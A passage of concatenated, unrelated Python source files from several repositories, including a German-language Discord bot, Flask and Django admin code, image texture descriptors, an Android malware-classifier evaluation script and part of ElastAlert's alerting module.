os.makedirs(args.output_dir) if args.labelmap_path is None: args.labelmap_path = os.path.join(args.output_dir, "label_map.pbtxt") create_annotations(args.annotations_path, args.image_dir, args.output_dir, args.output_dir, args.labelmap_path, args.number_of_classes, args.reduce_factor) if __name__ == '__main__': main()

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Extensions/Event-Handler.py

Drageast/Die_Botin

0

168762

# Import from discord.ext import commands import discord import asyncio # Utils import Utils # Cog Initialising class EventHandler(commands.Cog): def __init__(self, client): self.client = client @commands.Cog.listener() async def on_member_remove(self, user: discord.Member): try: await Utils.DBPreconditioning.DEL_Uccount(self, user) except: pass @commands.Cog.listener() async def on_voice_state_update(self, member, before, after): if after.channel is None: return elif after.channel.id == Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "SupportChannelVOICE") and not member.bot: channel = await self.client.fetch_channel(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "AdminChat")) role1 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Owner"))) role2 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Administrator"))) role3 = discord.utils.get(member.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "ServerTeam", "Developer"))) embed = discord.Embed( title="Support Anfrage:", colour=discord.Colour(Utils.Farbe.Orange), description=f"**{role1.mention}/{role2.mention}/{role3.mention}**\nDer User: `{member.name}` wartet in dem Sprachkanal: `{after.channel.name}`." ) embed.set_thumbnail(url=member.avatar_url) m = await channel.send(embed=embed) await asyncio.sleep(120) await m.delete() else: pass @commands.Cog.listener() async def on_member_join(self, user: discord.Member): embed = discord.Embed( title=f"Hallo {user.name}!", colour=discord.Colour(Utils.Farbe.Welcome_Blue), description=f"Hallo {user.mention} willkommen auf dem Discord Server:\n**{user.guild.name}** !\nUm Spieler zu suchen, gehe in den Korrespondierenden Kanal,\n" f"die Angepinnte Nachricht oben im Chat erklärt, wie es funktioniert.\n**Viel Spaß!**" ) embed.set_thumbnail(url=self.client.user.avatar_url) embed.set_image(url=user.avatar_url) channel = discord.utils.get(user.guild.text_channels, name=str( Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "SpecifiedChannels", "Welcome").lower())) m = await channel.send(embed=embed) role = discord.utils.get(user.guild.roles, name=str(Utils.YamlContainerManagement.GET_yamlAttr("Variablen", "Universals", "Roles", "Standart"))) await user.add_roles(role) await asyncio.sleep(300) try: await m.delete() except: pass @commands.Cog.listener() async def on_guild_join(self, guild: discord.Guild): embed = discord.Embed( title="Hallo!", colour=discord.Colour(Utils.Farbe.Welcomer_Blue), description=f"Hallo {guild.default_role.mention}! Ich bin **{self.client.user.name}**.\nIch bin der Discord Bot von [DrageastLP](https://github.com/Drageast).\n" f"Ich wurde extra für diesen Server geschrieben und freue ich schon, euch zu assistieren." ) embed.set_image(url=self.client.user.avatar_url) await guild.text_channels[0].send(embed=embed) # Cog Finishing def setup(client): client.add_cog(EventHandler(client))

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config.py

R4MS0T/PYREZ

9

150645

<filename>config.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os from app.utils import ( get_env, to_bool, ) from app.utils.num import ( random_func, ) app_dir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SQLALCHEMY_DATABASE_URI = get_env('DATABASE_URL', default=f'sqlite:///{"app" or __name__}.db')#'sqlite:///:memory:' SQLALCHEMY_TRACK_MODIFICATIONS = False #SQLALCHEMY_COMMIT_ON_TEARDOWN = True _binds = get_env('SQLALCHEMY_BINDS', default=None) if _binds: #https://docs.sqlalchemy.org/en/13/core/exceptions.html #https://flask-sqlalchemy.palletsprojects.com/en/2.x/binds/ #https://flask-migrate.readthedocs.io/en/latest/ SQLALCHEMY_BINDS = {} for _ in _binds.split(','): __ = _.split(':', 1) SQLALCHEMY_BINDS.update({__[0].lower() : __[1] if __[1].rfind('://') != -1 else get_env(__[1])}) print(SQLALCHEMY_BINDS) # SECURITY WARNING: don't run with debug turned on in production! #Default: True if ENV is 'development', or False otherwise. DEBUG = to_bool(get_env('DEBUG', default=os.sys.platform == 'win32' or os.name == 'nt')) # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = get_env('SECRET_KEY', default=random_func(as_string=True, size=65)) DEVELOPMENT = TESTING = False @property def DATABASE_URI(self): return SQLALCHEMY_DATABASE_URI class DevelopementConfig(Config): DEVELOPMENT = True ENV = 'development'#dev class TestingConfig(Config):#StagingConfig TESTING = DEVELOPMENT = DEBUG = True class ProductionConfig(Config): TESTING = DEVELOPMENT = DEBUG = False ENV = 'production'

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artigoRITA/techniques.py

Hadamanthis/Mestrado

1

88286

<gh_stars>1-10 import cv2 import numpy as np from convolution import conv2D def s(x, T): if (x > T): return 1 else: return 0 ''' Uma função que aplica LBP 3x3 ''' def LBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg = [] for g in list(range(-1, 2)): # Copiando a linha row = [] for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): row.append(0) continue thresh = int(img[i+g][j+k]) - int(img[i][j]) if (thresh >= 0): row.append(1) else: row.append(0) # Adicionando a linha subimg.append(np.array(row)) subimg = np.array(subimg) outputs.append(conv2D(subimg, kernel)) #print(subimg) #print(outputs) return np.array(outputs) ''' Uma função que aplica o CS-LBP com threshold T ''' def CS_LBP(img, T = None): outputs = [] if (T == None): T = 2.56 # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): out1 = img[i][j+1] - img[i][j-1] out2 = img[i+1][j+1] - img[i-1][j-1] out3 = img[i+1][j] - img[i-1][j] out4 = img[i+1][j-1] - img[i-1][j+1] output = s(out1, T)*pow(2,0) + s(out2, T)*pow(2, 1) + s(out3, T)*pow(2, 2) + s(out4, T)*pow(2,3) outputs.append(output) return np.array(outputs) def LQP(img, T1, T2): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] outputs3 = [] outputs4 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): subimg1 = [] subimg2 = [] subimg3 = [] subimg4 = [] for g in list(range(-1, 2)): # Copiando a linha row1, row2, row3, row4 = [], [], [], [] # Linhas respectivas de cada uma das subimagens for k in list(range(-1, 2)): # Se for o centro, coloca 0 e passa if ((g == 0) and (k == 0)): row1.append(0) row2.append(0) row3.append(0) row4.append(0) continue diff = img[i+g][j+k] - img[i][j] if (diff >= T2): row1.append(1) row2.append(0) row3.append(0) row4.append(0) elif (diff < T2 and diff >= T1): row1.append(0) row2.append(1) row3.append(0) row4.append(0) elif (diff < T1 and diff >= -1*T1): row1.append(0) row2.append(0) row3.append(1) row4.append(0) else: row1.append(0) row2.append(0) row3.append(0) row4.append(1) # Adicionando a linha subimg1.append(np.array(row1)) subimg2.append(np.array(row2)) subimg3.append(np.array(row3)) subimg4.append(np.array(row4)) subimg1 = np.array(subimg1) subimg2 = np.array(subimg2) subimg3 = np.array(subimg3) subimg4 = np.array(subimg4) outputs1.append(conv2D(subimg1, kernel)) outputs2.append(conv2D(subimg2, kernel)) outputs3.append(conv2D(subimg3, kernel)) outputs4.append(conv2D(subimg4, kernel)) return np.array(outputs1), np.array(outputs2), np.array(outputs3), np.array(outputs4) def CLBP(img): # Kernel de pesos padrão 3x3 kernel = np.array([[1, 2, 4], [8, 0, 16], [32, 64, 128]]) outputs1 = [] outputs2 = [] # Percorrendo a imagem for i in list(range(1, img.shape[0]-1)): for j in list(range(1, img.shape[1]-1)): mavg = 0 # Calculando a média das magnitudes da diferença entre o pixel central e os vizinhos for g in list(range(-1, 2)): for k in list(range(-1, 2)): if ((g == 0) and (k == 0)): continue mavg += abs(img[i][j] - img[i+g][j+k]) mavg /= 8 north = img[i-1][j] - img[i][j] northeast = img[i-1][j+1] - img[i][j] east = img[i][j+1] - img[i][j] southeast = img[i+1][j+1] - img[i][j] south = img[i+1][j] - img[i][j] southwest = img[i+1][j-1] - img[i][j] west = img[i][j-1] - img[i][j] northwest = img[i-1][j-1] - img[i][j] sum1 = 0 sum2 = 0 if (north >= 0): sum1 += 1 if (abs(north) > mavg): sum1 += 2 if (east >= 0): sum1 += 4 if (abs(east) > mavg): sum1 += 8 if (south >= 0): sum1 += 16 if (abs(south) > mavg): sum1 += 32 if (west >= 0): sum1 += 64 if (abs(west) > mavg): sum1 += 128 if (northeast >= 0): sum2 += 1 if (abs(northeast) > mavg): sum2 += 2 if (southeast >= 0): sum2 += 4 if (abs(southeast) > mavg): sum2 += 8 if (southwest >= 0): sum2 += 16 if (abs(southwest) > mavg): sum2 += 32 if (northwest >= 0): sum2 += 64 if (abs(northwest) > mavg): sum2 += 128 outputs1.append(sum1) outputs2.append(sum2) return np.array(outputs1), np.array(outputs2) if __name__ == '__main__': img = np.array([[5, 4, 3, 2, 3], [6, 7, 8, 2, 1], [3, 5, 10, 8, 2], [6, 6, 8, 9, 3], [7, 2, 4, 7, 11]]) print(img) outputs1, outputs2 = CLBP(img) print(outputs1) print(outputs2)

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tests/fixtures.py

junteudjio/runtimedocs

2

69273

import pytest from .context import mock, builtin_str @pytest.fixture(scope='function') def func(): def dummy(*agrs, **kwargs): pass f = mock.create_autospec(spec=dummy, name='fixture_function_to_decorate') return f @pytest.fixture(scope='function', autouse=True) @mock.patch('{builtin}.open'.format(builtin=builtin_str)) def mocked_open(mock_open): # mock_file = mock.Mock() # mock_file.write.return_value = None # mock_file.read.return_value = None # mock_open.return_value = mock_file return mock_open

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src/test/data/pa3/AdditionalTestCase/UnitTest/strcat_arg0_is_emptyString.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

0

109926

print("" + "1234") print("Hello" + "World")

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comments/admin.py

KingAnduin/fitness

0

140956

<filename>comments/admin.py from django.contrib import admin from comments.models import CommentsInfo class CommentAdmin(admin.ModelAdmin): list_display = ('comment_content', 'comment_create_time', 'order') admin.site.register(CommentsInfo, CommentAdmin)

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experiment_utils/utils/jupyter_utils.py

ayasyrev/experiment_utils

0

135581

from pathlib import Path, PosixPath from typing import List, Union from hydra import compose, initialize_config_dir from omegaconf import DictConfig from experiment_utils import __path__ as experiment_utils_path experiment_utils_path = experiment_utils_path[0] def initialize_config(overrides: List[str] = [], config_dir_name: str = "conf", config_path: Union[str, PosixPath] = None, config_name: str = "config") -> DictConfig: """Initialise Hydra config when work in jupyter notebook. Args: overrides (List[str], optional): List of overrides. Defaults to []. config_dir_name (str, optional): Name of directory with config structure. Defaults to "conf". config_path (Union[str, PosixPath], optional): Path to look for config dir. Defaults to None, take it from experiment_utils lib. config_name (str, optional): Name for config file. Defaults to "config". Returns: DictConfig: Initialized DictConfig. """ if config_path is None: config_path = Path(experiment_utils_path) with initialize_config_dir(config_dir=str(config_path / config_dir_name)): cfg = compose(config_name=config_name, overrides=overrides) return cfg

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racoon/view/error/custom.py

onukura/Racoon

3

31274

# -*- coding: utf-8 -*- from flask import Blueprint, render_template bp_error = Blueprint("bp_error", __name__, url_prefix="/error") # Specific Error Handlers @bp_error.route("/default") def default(): return render_template( "error/error_base.html", error_code=500, header_name="Error", error_message="We will work on fixing that right away.", ) @bp_error.route("/unauthorized") def unauthorized(): return render_template( "error/error_base.html", error_code=500, header_name="Unauthorized", error_message="Not allowed to access this contents.", )

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app/admin/views.py

jiejiang/inventory

1

178508

<gh_stars>1-10 # -*- coding: utf-8 -*- __author__ = 'jie' import os, zipfile import pandas as pd from markupsafe import Markup from flask import redirect, url_for, flash, current_app from flask_admin.contrib import sqla from flask_admin.menu import MenuLink from flask_admin.model.form import InlineFormAdmin from sqlalchemy import func, desc, or_ from flask_user import current_user from flask_admin.actions import action from wtforms.validators import ValidationError from .. import db from . import admin from ..models import Order, Job, ProductInfo, ProductCountInfo, Retraction, Route from ..util import time_format class LoginRequiredModelView(sqla.ModelView): def is_accessible(self): return current_user.is_authenticated def inaccessible_callback(self, name, **kwargs): return redirect(url_for("user.login")) class JobAdmin(LoginRequiredModelView): can_delete = False can_edit = False can_create = False def _show_status(view, context, model, name): return model.status_string def _show_item_count(view, context, model, name): #return model.orders.count() #cannot use this because the case of order number re-use job_file = os.path.join(current_app.config['DOWNLOAD_FOLDER'], model.uuid, model.uuid + '.zip') if not os.path.exists(job_file): return "%d (orders)" % model.orders.count() try: with zipfile.ZipFile(job_file) as z: customs_df = pd.read_excel(z.open(u"江门申报单.xlsx"), converters={ u"企业运单编号": lambda x: str(x), u"收件人省市区代码": lambda x: str(x), u"收件人电话": lambda x: str(x), u"收件人证件号码": lambda x: str(x), u"发货人省市区代码": lambda x: str(x), u"发货人电话": lambda x: str(x), u"商品备案号": lambda x: str(x), u"发货人电话": lambda x: str(x), u'计量单位': lambda x: str(x), }) return len(customs_df.index) except Exception, inst: return "%d (orders)" % model.orders.count() column_formatters = { 'status': _show_status, 'creation_time': lambda v, c, m, p: time_format(m.creation_time), 'completion_time': lambda v, c, m, p: time_format(m.completion_time), 'item_count': _show_item_count, } class SuccessJobAdmin(JobAdmin): list_template = "admin/job/list.html" column_searchable_list = ('uuid', 'creation_time', 'issuer') column_exclude_list = ('percentage', 'message') column_default_sort = ('completion_time', True) column_list = ('uuid', 'status', 'completion_time', 'item_count', 'version', 'issuer') def get_query(self): return self.session.query(self.model).filter(self.model.status == Job.Status.COMPLETED) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.status == Job.Status.COMPLETED) class FailedJobAdmin(JobAdmin): column_default_sort = ('creation_time', True) column_list = ('uuid', 'status', 'creation_time', 'percentage', 'message', 'issuer') def get_query(self): return self.session.query(self.model).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) def get_count_query(self): return self.session.query(func.count('*')).filter(or_(self.model.status == Job.Status.FAILED, self.model.status == Job.Status.DELETED)) class OrderAdmin(LoginRequiredModelView): def _show_type(view, context, model, name): return model.type_name column_formatters = { 'type': _show_type, 'upload_time': lambda v, c, m, p: time_format(m.upload_time), 'used_time': lambda v, c, m, p: time_format(m.used_time), } column_searchable_list = ('order_number', 'receiver_id_number', 'receiver_name') column_exclude_list = ('job',) form_excluded_columns = ('job',) column_details_exclude_list = ('job',) class UsedOrderAdmin(OrderAdmin): list_template = "admin/order/list.html" can_create = False can_delete = False can_edit = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used == True) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used == True) @action('reuse', u"弃用单号", u"您确定需要弃用这些单号？") def action_approve(self, ids): try: order_numbers = [] query = Order.query.filter(Order.id.in_(ids)).order_by(desc(Order.used_time)) for order in query.all(): order_numbers.append(order.order_number) if order.retraction_id: raise Exception, u"无法弃用已提取单号: %s" % order.order_number order.discard() db.session.commit() flash(u"如下单号已经弃用：[%s]" % ", ".join(order_numbers)) except Exception, inst: flash(u"无法弃用单号：[%s]。错误如下：\n%s" % (", ".join(order_numbers), str(inst)), "error") class UnusedOrderAdmin(OrderAdmin): can_create = False can_edit = False column_default_sort = ('order_number', False) def get_query(self): return self.session.query(self.model).filter(self.model.used==False, self.model.type == Order.Type.XIAN) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used == False, self.model.type == Order.Type.XIAN) class UnretractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id == None) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used==True, self.model.retraction_id == None) class RetractedOrderAdmin(OrderAdmin): can_create = False can_edit = False can_delete = False can_view_details = True column_default_sort = ('used_time', True) def get_query(self): return self.session.query(self.model).filter(self.model.used==True, self.model.retraction_id <> None) def get_count_query(self): return self.session.query(func.count('*')).filter(self.model.used==True, self.model.retraction_id <> None) class ProductCountInfoInlineModelForm(InlineFormAdmin): column_labels = dict(count=u"箱件数", gross_weight_per_box=u"每箱毛重(KG)") class ProductInfoAdmin(LoginRequiredModelView): #inline_models = [(ProductCountInfo, dict(form_columns=['count']))] #inline_models = (ProductCountInfoInlineModelForm(ProductCountInfo),) column_list = ( 'name', 'net_weight', 'gross_weight', 'unit_price', 'unit_per_item', 'tax_code', 'full_name', 'report_name', 'waybill_name', 'routes', 'deprecated') column_labels = dict(name=u"商品名称", net_weight=u"每件净重(KG)", count_infos=u"箱件数 / 毛重 -- 已作废", price_per_kg=u"每千克价格(KG) -- 已作废", full_name=u"全称(设置后无法修改)", deprecated=u"弃用", unit_price=u"单价", gross_weight=u"每件毛重(KG)", tax_code=u"商品税号", billing_unit=u"计费单位", billing_unit_code=u"计费单位代码", unit_per_item=u"单个物品申报数量", specification=u"规格/型号", bc_product_code=u"BC商品编码", bc_specification=u"BC商品规格型号", bc_second_quantity=u"BC第二数量", bc_measurement_unit=u"BC计量单位", bc_second_measurement_unit=u"BC第二计量单位", report_name=u"报单中显示名称", ticket_name=u"小票名称", ticket_price=u"小票单价", waybill_name=u"面单中显示名称", routes=u'线路', dutiable_as_any_4_pieces=u"4罐包含一个及以上该产品则报税", non_dutiable_as_all_6_pieces=u"6罐全是该产品则不报税") can_view_details = True column_default_sort = ('name', False) column_searchable_list = ('name', 'full_name', 'report_name') form_excluded_columns = ('price_per_kg', 'count_infos') def _show_count_infos(view, context, model, name): return Markup(model.count_info_string) column_formatters = { 'count_infos': _show_count_infos, } def on_model_change(self, form, model, is_created): model.name = "".join(model.name.strip().split()) if not is_created: if form.full_name.object_data <> form.full_name.data: model.full_name = form.full_name.object_data else: model.full_name = "".join(model.full_name.strip().split()) def ticket_name_max_length(form, field): if field.data and len(field.data) > 30: raise ValidationError(u"小票名称最长30字符") form_args = dict( ticket_name=dict(validators=[ticket_name_max_length]) ) class RetractionAdmin(LoginRequiredModelView): list_template = "admin/retraction/list.html" can_create = False can_edit = False can_delete = False column_searchable_list = ('uuid', 'timestamp') column_default_sort = ('timestamp', True) column_formatters = { 'timestamp': lambda v, c, m, p: time_format(m.timestamp), } class RouteAdmin(LoginRequiredModelView): column_labels = dict(name=u"名称", code=u"编码", products=u'包含产品') column_list = ('name', 'code', 'products') admin.add_view(SuccessJobAdmin(Job, db.session, endpoint="admin.success_jobs", name=u"生成订单")) admin.add_view(RetractionAdmin(Retraction, db.session, endpoint="admin.success_retraction", name=u"提取订单")) admin.add_view(RouteAdmin(Route, db.session, endpoint="admin.route", name=u"线路管理")) admin.add_view(ProductInfoAdmin(ProductInfo, db.session, endpoint="admin.product_info", name=u"商品信息")) admin.add_view(UnusedOrderAdmin(Order, db.session, endpoint="admin.unused_standard_order", name=u"未使用订单")) admin.add_view(UsedOrderAdmin(Order, db.session, endpoint="admin.used_order", name=u"已生成订单")) admin.add_view(UnretractedOrderAdmin(Order, db.session, endpoint="admin.unretracted_order", name=u"未提取订单")) admin.add_view(RetractedOrderAdmin(Order, db.session, endpoint="admin.retracted_order", name=u"已提取订单")) admin.add_view(FailedJobAdmin(Job, db.session, endpoint="admin.failed_jobs", name=u"错误记录")) admin.add_link(MenuLink(name=u"回到主界面", endpoint="front_end.index"))

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masters/droidapiminer_timeline.py

markansn/masters_project

0

132242

<filename>masters/droidapiminer_timeline.py<gh_stars>0 import datetime import sys from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import StratifiedKFold sys.path.append("..") from sklearn.svm import LinearSVC from sklearn import metrics as sklearn_metrics from sklearn.feature_extraction.text import TfidfVectorizer as TF from tesseract import evaluation, temporal, metrics, mock, viz import CommonModules as CM import numpy as np from sklearn.model_selection import GridSearchCV import pickle from sklearn.feature_extraction import DictVectorizer from load_features import load_features def main(): X, Y, t = load_features("../droidapiminer_data/apg-droidapiminer") # X = [] # Y = [] # for i, item in enumerate(X1): # if item != {}: # X.append(item) # Y.append(Y1[i]) # t.append(t1[i]) for i in range(0, len(t)): item = t[i] print(item.year) t[i] = datetime.datetime(item.year, 1, 1) print(t) print(len(X)) vec = DictVectorizer() x = vec.fit_transform(X) y = np.asarray(Y) tv = np.asarray(t) print(len(X)) splits = temporal.time_aware_train_test_split( x, y, tv, train_size=24, test_size=1, granularity='month') Parameters = {'C': [0.001, 0.01, 0.1, 1, 10, 100, 1000]} # Perform a timeline evaluation # clf = GridSearchCV(LinearSVC(), Parameters, cv= 5, scoring= 'f1', n_jobs=4, verbose=2 ) clf = LinearSVC(max_iter=10000, C=1) # clf = RandomForestClassifier() results = evaluation.fit_predict_update(clf, *splits) # View results metrics.print_metrics(results) plt = viz.plot_decay(results) plt.show() # View AUT(F1, 24 months) as a measure of robustness over time print(metrics.aut(results, 'f1')) if __name__ == '__main__': main()

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custom_components/bhyve/util.py

allistermaguire/bhyve-home-assistant

0

124537

<reponame>allistermaguire/bhyve-home-assistant import hashlib from homeassistant.util import dt def orbit_time_to_local_time(timestamp: str): if timestamp is not None: return dt.as_local(dt.parse_datetime(timestamp)) return None def anonymize(device): device["address"] = "REDACTED" device["full_location"] = "REDACTED" device["location"] = "REDACTED" return device def pesudo_id_if_smart_program( device_id, program_id, is_smart_program: bool = False ): """ Compute a pesudo ID to ensure the Smart program has a constant ID for events. Devices with multiple zones can change the `program_id` used by the Smart Watering program based on which zones are included in the program. return: pesudo `program_id` for Smart program, otherwise real `program_id`. """ if is_smart_program: program_id = hashlib.md5( f"{device_id}:smart_program".encode('utf-8') ).hexdigest() return program_id

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elastalert/alerts.py

dekhrekh/elastalert

0

1472

<filename>elastalert/alerts.py<gh_stars>0 # -*- coding: utf-8 -*- import copy import datetime import json import logging import subprocess import sys import warnings from email.mime.text import MIMEText from email.utils import formatdate from smtplib import SMTP from smtplib import SMTP_SSL from smtplib import SMTPAuthenticationError from smtplib import SMTPException from socket import error import boto3 import requests import stomp from exotel import Exotel from jira.client import JIRA from jira.exceptions import JIRAError from requests.exceptions import RequestException from staticconf.loader import yaml_loader from texttable import Texttable from twilio.base.exceptions import TwilioRestException from twilio.rest import Client as TwilioClient from util import EAException from util import elastalert_logger from util import lookup_es_key from util import pretty_ts from util import ts_now from util import ts_to_dt class DateTimeEncoder(json.JSONEncoder): def default(self, obj): if hasattr(obj, 'isoformat'): return obj.isoformat() else: return json.JSONEncoder.default(self, obj) class BasicMatchString(object): """ Creates a string containing fields in match for the given rule. """ def __init__(self, rule, match): self.rule = rule self.match = match def _ensure_new_line(self): while self.text[-2:] != '\n\n': self.text += '\n' def _add_custom_alert_text(self): missing = '<MISSING VALUE>' alert_text = unicode(self.rule.get('alert_text', '')) if 'alert_text_args' in self.rule: alert_text_args = self.rule.get('alert_text_args') alert_text_values = [lookup_es_key(self.match, arg) for arg in alert_text_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_text_values)): if alert_text_values[i] is None: alert_value = self.rule.get(alert_text_args[i]) if alert_value: alert_text_values[i] = alert_value alert_text_values = [missing if val is None else val for val in alert_text_values] alert_text = alert_text.format(*alert_text_values) elif 'alert_text_kw' in self.rule: kw = {} for name, kw_name in self.rule.get('alert_text_kw').items(): val = lookup_es_key(self.match, name) # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above if val is None: val = self.rule.get(name) kw[kw_name] = missing if val is None else val alert_text = alert_text.format(**kw) self.text += alert_text def _add_rule_text(self): self.text += self.rule['type'].get_match_str(self.match) def _add_top_counts(self): for key, counts in self.match.items(): if key.startswith('top_events_'): self.text += '%s:\n' % (key[11:]) top_events = counts.items() if not top_events: self.text += 'No events found.\n' else: top_events.sort(key=lambda x: x[1], reverse=True) for term, count in top_events: self.text += '%s: %s\n' % (term, count) self.text += '\n' def _add_match_items(self): match_items = self.match.items() match_items.sort(key=lambda x: x[0]) for key, value in match_items: if key.startswith('top_events_'): continue value_str = unicode(value) value_str.replace('\\n', '\n') if type(value) in [list, dict]: try: value_str = self._pretty_print_as_json(value) except TypeError: # Non serializable object, fallback to str pass self.text += '%s: %s\n' % (key, value_str) def _pretty_print_as_json(self, blob): try: return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, ensure_ascii=False) except UnicodeDecodeError: # This blob contains non-unicode, so lets pretend it's Latin-1 to show something return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, encoding='Latin-1', ensure_ascii=False) def __str__(self): self.text = '' if 'alert_text' not in self.rule: self.text += self.rule['name'] + '\n\n' self._add_custom_alert_text() self._ensure_new_line() if self.rule.get('alert_text_type') != 'alert_text_only': self._add_rule_text() self._ensure_new_line() if self.rule.get('top_count_keys'): self._add_top_counts() if self.rule.get('alert_text_type') != 'exclude_fields': self._add_match_items() return self.text class JiraFormattedMatchString(BasicMatchString): def _add_match_items(self): match_items = dict([(x, y) for x, y in self.match.items() if not x.startswith('top_events_')]) json_blob = self._pretty_print_as_json(match_items) preformatted_text = u'{{code:json}}{0}{{code}}'.format(json_blob) self.text += preformatted_text class Alerter(object): """ Base class for types of alerts. :param rule: The rule configuration. """ required_options = frozenset([]) def __init__(self, rule): self.rule = rule # pipeline object is created by ElastAlerter.send_alert() # and attached to each alerters used by a rule before calling alert() self.pipeline = None self.resolve_rule_references(self.rule) def resolve_rule_references(self, root): # Support referencing other top-level rule properties to avoid redundant copy/paste if type(root) == list: # Make a copy since we may be modifying the contents of the structure we're walking for i, item in enumerate(copy.copy(root)): if type(item) == dict or type(item) == list: self.resolve_rule_references(root[i]) else: root[i] = self.resolve_rule_reference(item) elif type(root) == dict: # Make a copy since we may be modifying the contents of the structure we're walking for key, value in root.copy().iteritems(): if type(value) == dict or type(value) == list: self.resolve_rule_references(root[key]) else: root[key] = self.resolve_rule_reference(value) def resolve_rule_reference(self, value): strValue = unicode(value) if strValue.startswith('$') and strValue.endswith('$') and strValue[1:-1] in self.rule: if type(value) == int: return int(self.rule[strValue[1:-1]]) else: return self.rule[strValue[1:-1]] else: return value def alert(self, match): """ Send an alert. Match is a dictionary of information about the alert. :param match: A dictionary of relevant information to the alert. """ raise NotImplementedError() def get_info(self): """ Returns a dictionary of data related to this alert. At minimum, this should contain a field type corresponding to the type of Alerter. """ return {'type': 'Unknown'} def create_title(self, matches): """ Creates custom alert title to be used, e.g. as an e-mail subject or JIRA issue summary. :param matches: A list of dictionaries of relevant information to the alert. """ if 'alert_subject' in self.rule: return self.create_custom_title(matches) return self.create_default_title(matches) def create_custom_title(self, matches): alert_subject = unicode(self.rule['alert_subject']) if 'alert_subject_args' in self.rule: alert_subject_args = self.rule['alert_subject_args'] alert_subject_values = [lookup_es_key(matches[0], arg) for arg in alert_subject_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_subject_values)): if alert_subject_values[i] is None: alert_value = self.rule.get(alert_subject_args[i]) if alert_value: alert_subject_values[i] = alert_value alert_subject_values = ['<MISSING VALUE>' if val is None else val for val in alert_subject_values] return alert_subject.format(*alert_subject_values) return alert_subject def create_alert_body(self, matches): body = self.get_aggregation_summary_text(matches) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = '' if 'aggregation' in self.rule and 'summary_table_fields' in self.rule: summary_table_fields = self.rule['summary_table_fields'] if not isinstance(summary_table_fields, list): summary_table_fields = [summary_table_fields] # Include a count aggregation so that we can see at a glance how many of each aggregation_key were encountered summary_table_fields_with_count = summary_table_fields + ['count'] text += "Aggregation resulted in the following data for summary_table_fields ==> {0}:\n\n".format( summary_table_fields_with_count ) text_table = Texttable() text_table.header(summary_table_fields_with_count) match_aggregation = {} # Maintain an aggregate count for each unique key encountered in the aggregation period for match in matches: key_tuple = tuple([unicode(lookup_es_key(match, key)) for key in summary_table_fields]) if key_tuple not in match_aggregation: match_aggregation[key_tuple] = 1 else: match_aggregation[key_tuple] = match_aggregation[key_tuple] + 1 for keys, count in match_aggregation.iteritems(): text_table.add_row([key for key in keys] + [count]) text += text_table.draw() + '\n\n' return unicode(text) def create_default_title(self, matches): return self.rule['name'] def get_account(self, account_file): """ Gets the username and password from an account file. :param account_file: Name of the file which contains user and password information. """ account_conf = yaml_loader(account_file) if 'user' not in account_conf or 'password' not in account_conf: raise EAException('Account file must have user and password fields') self.user = account_conf['user'] self.password = account_conf['password'] class StompAlerter(Alerter): """ The stomp alerter publishes alerts via stomp to a broker. """ required_options = frozenset(['stomp_hostname', 'stomp_hostport', 'stomp_login', 'stomp_password']) def alert(self, matches): alerts = [] qk = self.rule.get('query_key', None) fullmessage = {} for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '1)Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = match[qk] else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '2)Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = lookup_es_key(match, self.rule['timestamp_field']) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) fullmessage['alerts'] = alerts fullmessage['rule'] = self.rule['name'] fullmessage['matching'] = unicode(BasicMatchString(self.rule, match)) fullmessage['alertDate'] = 